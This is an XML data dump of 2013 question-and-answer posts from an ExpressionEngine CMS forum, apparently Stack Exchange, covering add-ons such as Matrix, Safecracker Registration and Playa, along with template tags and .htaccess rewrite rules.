  <row Id="11590" PostTypeId="2" ParentId="11581" CreationDate="2013-07-01T18:07:03.017" Score="2" Body="&lt;p&gt;This question was already asked several times, I found this tutorial &lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow&quot;&gt;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&lt;/a&gt; pretty good. I'm doing this same action right now and I disabled jquery and head on safecracker for better optimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a tip: when you disable safecracker_head you also disable all assets on other fields, when using predefined dropdown in matrix, there is hardcoded function with all the data that is used for creating new rows, so be sure to enable safecracker_head &gt; copy that inline js data to your file &gt; disable safecracker_head&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-07-01T18:07:03.017" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11591" PostTypeId="2" ParentId="11543" CreationDate="2013-07-01T20:11:29.823" Score="0" Body="&lt;p&gt;I was able to target the remaining urls using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^404(%3B|;) [NC]&#xA;RewriteRule ^ http://www.example.com/general/404/? [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="213" LastActivityDate="2013-07-01T20:11:29.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11592" PostTypeId="1" AcceptedAnswerId="11595" CreationDate="2013-07-01T21:56:47.963" Score="0" ViewCount="134" Body="&lt;p&gt;I need to display a matrix of schedule, which has the fields: &lt;code&gt;day&lt;/code&gt;, &lt;code&gt;start_time&lt;/code&gt;, &lt;code&gt;end_time&lt;/code&gt;. The &lt;code&gt;day&lt;/code&gt; field is P&amp;amp;T Dropdown with the following values: Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I cannot control what order the user enters rows in the matrix, I'd like to display the schedule in &quot;proper&quot; order, starting with Sunday and ending with Saturday. How do I order the matrix rows by &lt;code&gt;day&lt;/code&gt;? If I do something like: &lt;code&gt;orderby=&quot;day&quot; sort=&quot;asc&quot;&lt;/code&gt;, it'll sort alphabetically. &lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-02T02:07:57.163" Title="P&amp;T Dropdown and &quot;orderby&quot; in Matrix" Tags="|matrix|pt-dropdown|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11593" PostTypeId="1" CreationDate="2013-07-01T23:46:22.323" Score="0" ViewCount="1456" Body="&lt;p&gt;Hello guys first of all sorry for my bad english , never i use expression engine, i was reading in his web and looks amazing, but in a lot of blogs and forums, i saw about is a little abandoned , and the support suck , what u think guys? i am a little company trying to find solutions , with a strong plataform and good support , if ee is dead , you have other alternative? processwire? yesterday i founded statamic looks cool is no database and they claim can handle complex and big sites (and is cheap) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys for you time and answers.&lt;/p&gt;&#xA;" OwnerUserId="1721" LastActivityDate="2013-07-02T08:29:51.337" Title="Should i buy expression engine? or is dead project?" Tags="|ee2|" AnswerCount="1" CommentCount="1" ClosedDate="2013-07-02T10:12:57.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="11594" PostTypeId="2" ParentId="11558" CreationDate="2013-07-02T00:55:07.043" Score="1" Body="&lt;p&gt;As you mentioned that you are not using the date picker feature so you are instructing the users to enter date of birth in input text in the format of YYYY-MM-DD and field type is Date. Right ???&#xA;The Date field type of EE will always require time also (HH:MM) so you can apply some JavaScript stuff which will amend the date value with time. For example: an user is entering date of birth as 1980-01-31 so you have to put some JavaScript so that it changes the date of birth value to 1980-01-31 12:00PM before submit. Rest of the things will be performed by EE.&#xA;Also, you can populate that date of birth in YYYY-MM-DD format by passing &quot;format&quot; parameter with the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned that you are using Low Search module and want to implement a search by age feature.&#xA;You can achieve it by adding Range Filter (&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-ranges&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search/docs/tags#form-tag-ranges&lt;/a&gt;). You can see within the doc that Low Search automatically detects the date field type of the channel and perform search as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For range filter, you will need to have this field something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;range:date_of_birth_field&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-20 years')).';'.date('Y-m-d', strtotime('-25 years')) ;?&amp;gt;&quot;&amp;gt;20 - 25&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-25 years')).';'.date('Y-m-d', strtotime('-30 years')) ;?&amp;gt;&quot;&amp;gt;25 - 30&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-30 years')).';'.date('Y-m-d', strtotime('-35 years')) ;?&amp;gt;&quot;&amp;gt;30 - 35&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-35 years')).';'.date('Y-m-d', strtotime('-40 years')) ;?&amp;gt;&quot;&amp;gt;35 - 40&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-40 years')).';'.date('Y-m-d', strtotime('-45 years')) ;?&amp;gt;&quot;&amp;gt;40 - 45&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-45 years')).';'.date('Y-m-d', strtotime('-50 years')) ;?&amp;gt;&quot;&amp;gt;45 - 50&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-50 years')).';'.date('Y-m-d', strtotime('-55 years')) ;?&amp;gt;&quot;&amp;gt;50 - 55&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-55 years')).';'.date('Y-m-d', strtotime('-60 years')) ;?&amp;gt;&quot;&amp;gt;55 - 60&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-60 years')).';'.date('Y-m-d', strtotime('-65 years')) ;?&amp;gt;&quot;&amp;gt;60 - 65&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-65 years')).';'.date('Y-m-d', strtotime('-70 years')) ;?&amp;gt;&quot;&amp;gt;65 - 70&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see, I am using PHP code to output the proper range for the date of birth so you can to enable PHP for that template.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-02T00:55:07.043" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11595" PostTypeId="2" ParentId="11592" CreationDate="2013-07-02T01:01:27.527" Score="2" Body="&lt;p&gt;Can you try by having P&amp;amp;T Dropdown options (in the field setting) like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 : Sunday&#xA;1 : Monday&#xA;2 : Tuesday&#xA;3 : Wednesday&#xA;4 : Thursday&#xA;5 : Friday&#xA;6 : Saturday&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To output day name, you should use &lt;code&gt;{custom_field_name:label}&lt;/code&gt; which will output Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using &lt;code&gt;{custom_field_name}&lt;/code&gt;, then it will output day number like 0, 1, 2, 3, 4...&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-07-02T02:07:57.163" LastActivityDate="2013-07-02T02:07:57.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11596" PostTypeId="1" AcceptedAnswerId="11616" CreationDate="2013-07-02T02:39:22.990" Score="0" ViewCount="71" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt; so I can leverage Channels for my member data. When the member is logged in (in my own UI, not EE's CP), is there a way for me to get the entry id in the Channel that's associated with the member?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to do a search like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;profiles&quot; author_id=&quot;CURRENT_USER&quot;}&#xA;   {entry_id}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Presumably, there will only be one &lt;code&gt;entry_id&lt;/code&gt;. And although this may work, I'm reluctant to use this approach because I'll need to loop through this exact same channel several times on that page (e.g. in the header, in the footer, etc.) as my templates are broken up into parts for reusability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping for a non-Stash solution at this point. Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-07-02T21:28:38.407" LastActivityDate="2013-07-02T21:28:38.407" Title="Safecracker Membership: how to get the entry id of a member?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11597" PostTypeId="1" AcceptedAnswerId="11686" CreationDate="2013-07-02T02:48:53.070" Score="0" ViewCount="663" Body="&lt;p&gt;I'm displaying a list of Channel entries in a &quot;search results&quot; page. Each item has a link to a &quot;details&quot; page. Right now, my URLs look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/products/1/&#xA;domain.com/products/2/&#xA;domain.com/products/3/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to encrypt the entry ids when I generate the links in the search results page. In the details page, I'd like to decrypt that when I pass it as a param to &lt;code&gt;{exp:channel:entries}&lt;/code&gt;. Is there a way to do this natively in EE? Or is there an addon that'll do this for me? Or should I enable PHP in the templates to make this happen? (other members will not have access to EE's CP, only the admin).&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-08-03T03:51:04.767" Title="How to encrypt/decrypt?" Tags="|templates|template-scripting|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11598" PostTypeId="1" AcceptedAnswerId="11814" CreationDate="2013-07-02T04:44:43.550" Score="0" ViewCount="40" Body="&lt;p&gt;In my template, my custom plugin is parsed before others plugins, &lt;strong&gt;is there a way to say to EE that I want my plugin to be parsed at the end?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:gwcode_categories parse=&quot;inward&quot;}&#xA;{exp:mycustom_plugin:s value=&quot;{cat_id}&quot;} //ex: 1, my log file says this is ok! &#xA;&#xA;{/exp:gwcode_categories} &#xA;{exp:mycustom_plugin:g value&quot;} //should say:1 but in my log file, the constructor of my plugin is called before GWcode Categories&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My plugin has persistence, and that works fine outside EE 2.5.5&lt;/p&gt;&#xA;" OwnerDisplayName="user1631" LastActivityDate="2013-07-10T03:50:02.577" Title="Plug In Order Execution" Tags="|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11599" PostTypeId="1" CreationDate="2013-07-02T04:48:34.307" Score="3" ViewCount="286" Body="&lt;p&gt;Is there a way to mimic the add item to cart so a product(subscription) is added to cart during a registration process? In short I wanted to automatically add item in the cart using Expresso Store, that is if it's possible.&lt;/p&gt;&#xA;" OwnerUserId="1722" LastActivityDate="2013-07-04T01:08:12.710" Title="Expresso Store: Subscription like cart" Tags="|expresso-store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11600" PostTypeId="2" ParentId="11593" CreationDate="2013-07-02T08:29:51.337" Score="5" Body="&lt;p&gt;No ExpressionEngine isn't dead or abandoned, although it seems to have had a rocky road in the past year or so with some long term bugs not getting resolved, but it's still a strong commercial option. There's quite a few users who have voiced opinions (quite rightly), because of the direction and progress that EE has taken, that doesn't make it a bad CMS and it continues to be a leading commercial offering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a lot of CMS's and although I favour Wordpress for &quot;budget&quot; sites, no other CMS allows for the freedom and unlimited scope as ExpressionEngine does. And that's why I continue to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine has a good grounding and large add-on library (&lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;noreferrer&quot;&gt;http://devot-ee.com&lt;/a&gt;), although each project tends to have a license overhead now that I normally allow for around $500+ or more depending on the complexity. That's not to say you need that budget, but if you want all the bells and whistles and top quality build, or complexities such as multi-language, commerce, etc, you have to pay for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both Statamic (&lt;a href=&quot;http://statamic.com&quot; rel=&quot;noreferrer&quot;&gt;http://statamic.com&lt;/a&gt;) and Craft (&lt;a href=&quot;http://buildwithcraft.com&quot; rel=&quot;noreferrer&quot;&gt;http://buildwithcraft.com&lt;/a&gt;) have been created from developers who have very strong background in EE and although I've not had a chance to use either, I expect them to be extremely good offerings, albeit still young projects.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-02T08:29:51.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11601" PostTypeId="1" AcceptedAnswerId="11612" CreationDate="2013-07-02T08:30:09.840" Score="0" ViewCount="76" Body="&lt;p&gt;I noticed that &lt;code&gt;{exp:playa:parent_ids}&lt;/code&gt; returns the parent ids, even if that parent's entry date is in the future.&#xA;Isn't it confusing to change the way EE works with future entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;support answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*_ids tags currently don't support the show_future_entries parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an upside, though - we are releasing a new Playa version today and this will be fixed in that, so you'll have your issues fixed with the latest version.&lt;/p&gt;&#xA;" OwnerUserId="1719" LastEditorUserId="1719" LastEditDate="2013-07-03T09:35:19.397" LastActivityDate="2013-07-03T09:35:19.397" Title="Playa parent ids automatically shows future entries ids" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11603" PostTypeId="1" AcceptedAnswerId="11635" CreationDate="2013-07-02T09:36:15.517" Score="0" ViewCount="61" Body="&lt;p&gt;In the &lt;a href=&quot;http://www.membrr.com/docs/subscriptions&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, I see that you can cancel manually via {exp:membrr:cancel} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there a way to cancel automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I was looking for is that if a membrr profile that I have is deleted, I would want it to automatically cancel all subscriptions that profile has subscribed to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-03T05:36:09.113" Title="Memberr - Automatic Cancellation feature?" Tags="|membrr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11604" PostTypeId="1" AcceptedAnswerId="11615" CreationDate="2013-07-02T09:44:42.030" Score="0" ViewCount="46" Body="&lt;p&gt;In the &lt;a href=&quot;https://www.objectivehtml.com/safecracker-registration/changelog&quot; rel=&quot;nofollow&quot;&gt;changelog&lt;/a&gt;, I see that developer hooks was added as a feature in 1.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But looking that &lt;a href=&quot;https://www.objectivehtml.com/safecracker-registration/documentation&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, I don't see any thing about hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any place or site that can point me to Safecracker Registration Hooks?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-02T14:20:42.210" Title="Safecracker Registration - Documentation on Hooks" Tags="|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11605" PostTypeId="1" AcceptedAnswerId="11610" CreationDate="2013-07-02T10:02:03.160" Score="0" ViewCount="61" Body="&lt;p&gt;Is there a way to customize or replace the account confirmation page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the page to align with the design philosophy of the site. So I want it to look close to the other pages I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-02T12:34:16.780" Title="Safecracker Registration - Custom Confirmation Page" Tags="|safecracker-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11606" PostTypeId="1" AcceptedAnswerId="11608" CreationDate="2013-07-02T11:09:17.113" Score="0" ViewCount="41" Body="&lt;p&gt;I skipped upgrading to 2.6 since I kept seeing comments about bugs, but now that 2.7 is on the way I need to get my add-ons sorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am wondering is if all add-ons need to be upgraded to work with 2.6 or only those using some specific functions?&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2013-07-02T11:18:25.830" Title="2.6+ and add-on compatability -- do all add-ons need to be upgraded?" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11607" PostTypeId="2" ParentId="11599" CreationDate="2013-07-02T11:13:39.603" Score="2" Body="&lt;p&gt;It is possible to add a product to the cart by simply visiting a page so upon successful registration you could redirect them to a success page which then adds the subscription item to their cart in the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be achieved by using AJAX to POST directly to Store's action URL. You simply add the add the &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html&quot; rel=&quot;nofollow&quot;&gt;product tag&lt;/a&gt; to the page as normal and then using JavaScript to make the submission automatically. Along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#productform&quot;).submit()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;#productform&lt;/code&gt; is the ID of your form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can either be hidden or visible.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-02T11:13:39.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11608" PostTypeId="2" ParentId="11606" CreationDate="2013-07-02T11:18:25.830" Score="0" Body="&lt;p&gt;Not all addons need to be upgraded but it's always best to update the addons when updating EE to ensure compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases they will still work but you may be a few messages in the dev log warning about the use of deprecated functions. These aren't critical but provide a warning that they may break in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a small number of cases you may find that some are more critical but addon developers are well ahead of the game in most cases and would most likely have already pushed through an update to fix the problem so that's why it's best to keep up with the updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find both EE and addon updates a bit laborious then I'd highly recommend &lt;a href=&quot;http://devot-ee.com/add-ons/updater&quot; rel=&quot;nofollow&quot;&gt;Updater&lt;/a&gt;. It greatly speeds up the updating process for both.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-02T11:18:25.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11609" PostTypeId="1" CreationDate="2013-07-02T11:26:47.930" Score="0" ViewCount="224" Body="&lt;p&gt;On the root there is an EE install with a .htaccess to remove the index.php&#xA;Now there is a new installation in the www.root.be/test/newEE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the newEE there is a new EE installation for testing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because of the htacess of the root, whatever url's i type they keep redirecting to something totally different than the goal or how standard EE should be.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example i have a template called &quot;home&quot; with a page in it called &quot;form&quot;&#xA;Trying to find a way to correctly put the url and view the page but that is not working out i tried several options&#xA;www.site.com/test/newEE/{template name}/{specific page}&#xA;www.site.com/test/newEE/index.php/{template name}/{specific page}&#xA;www.site.com/test/newEE/{specific page}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but nothing seems to work how can i fix this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the htacess: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Enable Rewrite Engine&#xA;#—————————————————————————————————————&#xA;RewriteEngine On&#xA;&#xA;RewriteBase /&#xA;&#xA;# Redirect index.php Requests&#xA;#—————————————————————————————————————&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/system/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;# Standard ExpressionEngine Rewrite&#xA;#—————————————————————————————————————&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&#xA;&#xA;# Redirect to www &#xA;#—————————————————————————————————————&#xA;RewriteCond %{HTTP_HOST} ^siteurl.be [NC]&#xA;RewriteRule ^(.*)$ http://www.siteurl.be/$1 [L,R=301]&#xA;&#xA;AddType font/ttf .ttf&#xA;AddType font/eot .eot&#xA;AddType font/otf .otf&#xA;AddType font/woff .woff&#xA;&#xA;AddType audio/mp3 .mp3 &#xA;AddType video/ogg .ogv&#xA;AddType video/mp4 .mp4&#xA;AddType video/webm .webm&#xA;SetEnvIfNoCase Request_URI \.(og[gv]|mp4|m4v|webm)$ no-gzip dont-vary&#xA;&#xA;&#xA;&amp;lt;FilesMatch &quot;\.(ttf|otf|woff)$&quot;&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header set Access-Control-Allow-Origin &quot;*&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt; &#xA;&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;    ExpiresActive on&#xA;&#xA;    ExpiresDefault                          &quot;access plus 1 month&quot;&#xA;    ExpiresByType text/css                  &quot;access plus 2 months&quot;&#xA;    ExpiresByType application/javascript    &quot;access plus 2 months&quot;&#xA;    ExpiresByType text/javascript           &quot;access plus 2 months&quot;&#xA;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header append Cache-Control &quot;public&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-08-01T11:49:54.870" Title="dubbel EE installations , top root and sub folder" Tags="|htaccess|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11610" PostTypeId="2" ParentId="11605" CreationDate="2013-07-02T11:32:24.893" Score="1" Body="&lt;p&gt;When using Safecracker Registration you can avoid the ugly default User Message Templates altogether if you set a &lt;code&gt;return&lt;/code&gt; parameter. As an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;    channel=&quot;members&quot;&#xA;    dynamic_title=&quot;[member_first_name] [member_last_name] - [email]&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    register_member=&quot;yes&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    return=&quot;/some/url/path&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can specify where the user will be sent for account confirmation using regular EE templates rather than standard User Message Templates.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Updated to include options for editing EE's User Message Templates&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most actions performed in EE, such as logging in/out, safecracker submission etc, will result in seeing the User Message Template in EE. This can be modified by navigating to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Design &gt; Message Pages &gt; User Messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The control here is fairly limited in that it's one message template which applies to ALL system messages. It's also not possible to parse other template tags but at a basic level it does the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a little more control over your &lt;em&gt;User Message Templates&lt;/em&gt; and &lt;em&gt;Speciality Templates&lt;/em&gt; in general however then you could look to use either &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/libraree&quot; rel=&quot;nofollow&quot;&gt;Libraree&lt;/a&gt; to bring bring them into regular EE templates which can be saved as files. As regular EE templates you'll also have the ability to then use other tags along with embeds to keep things DRY. It all depends on how much control you need.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-07-02T12:34:16.780" LastActivityDate="2013-07-02T12:34:16.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11611" PostTypeId="2" ParentId="11609" CreationDate="2013-07-02T11:48:20.057" Score="1" Body="&lt;p&gt;You really need to take the second installation out and place it on a subdomain. &lt;code&gt;test.root.be&lt;/code&gt; for instance. Then it can operate completely independently and wont clash with your existing install. What you're effectively doing there is running EE within EE as far as the URL schema is concerned. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-02T11:48:20.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11612" PostTypeId="2" ParentId="11601" CreationDate="2013-07-02T11:55:38.747" Score="0" Body="&lt;p&gt;The playa tag supports almost all of EE's channel entry tag parameters out of the box so if you wanted to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#show-future-entries&quot; rel=&quot;nofollow&quot;&gt;not show future entries&lt;/a&gt; then you just need to add that as a parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parent_ids show_future_entries=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-02T11:55:38.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11613" PostTypeId="2" ParentId="11558" CreationDate="2013-07-02T12:20:29.577" Score="0" Body="&lt;p&gt;If you're not using the datepicker feature, as you mentioned, then the easiest solution is to use the excellent &lt;a href=&quot;http://devot-ee.com/add-ons/dropdate&quot; rel=&quot;nofollow&quot;&gt;DropDate&lt;/a&gt; addon. I normally default to that when dealing with date collection in both the front and back-end. In the front-end you are then free to take advantage of all of &lt;a href=&quot;http://php.net/manual/en/function.date.php&quot; rel=&quot;nofollow&quot;&gt;PHP's date formatting options&lt;/a&gt;. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{dropdate format='jS F, Y'}     // 2nd July, 2013&#xA;{dropdate format='Y-m-d'}       // 2013-07-02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-02T12:20:29.577" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11614" PostTypeId="2" ParentId="11596" CreationDate="2013-07-02T12:47:53.917" Score="0" Body="&lt;p&gt;Have you tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;    {entry_id}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-02T12:47:53.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11615" PostTypeId="2" ParentId="11604" CreationDate="2013-07-02T14:20:42.210" Score="1" Body="&lt;p&gt;No docs on this stuff at this time. I added those a while a back and forgot to include them in the docs. They are pretty straight forward though. If you want me to help you with anything specifically, email support@objectivehtml.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will add this documentation to my list of to-do's and hopefully have this updated this week. So in the meantime, just email me for quick assistance. &lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-02T14:20:42.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
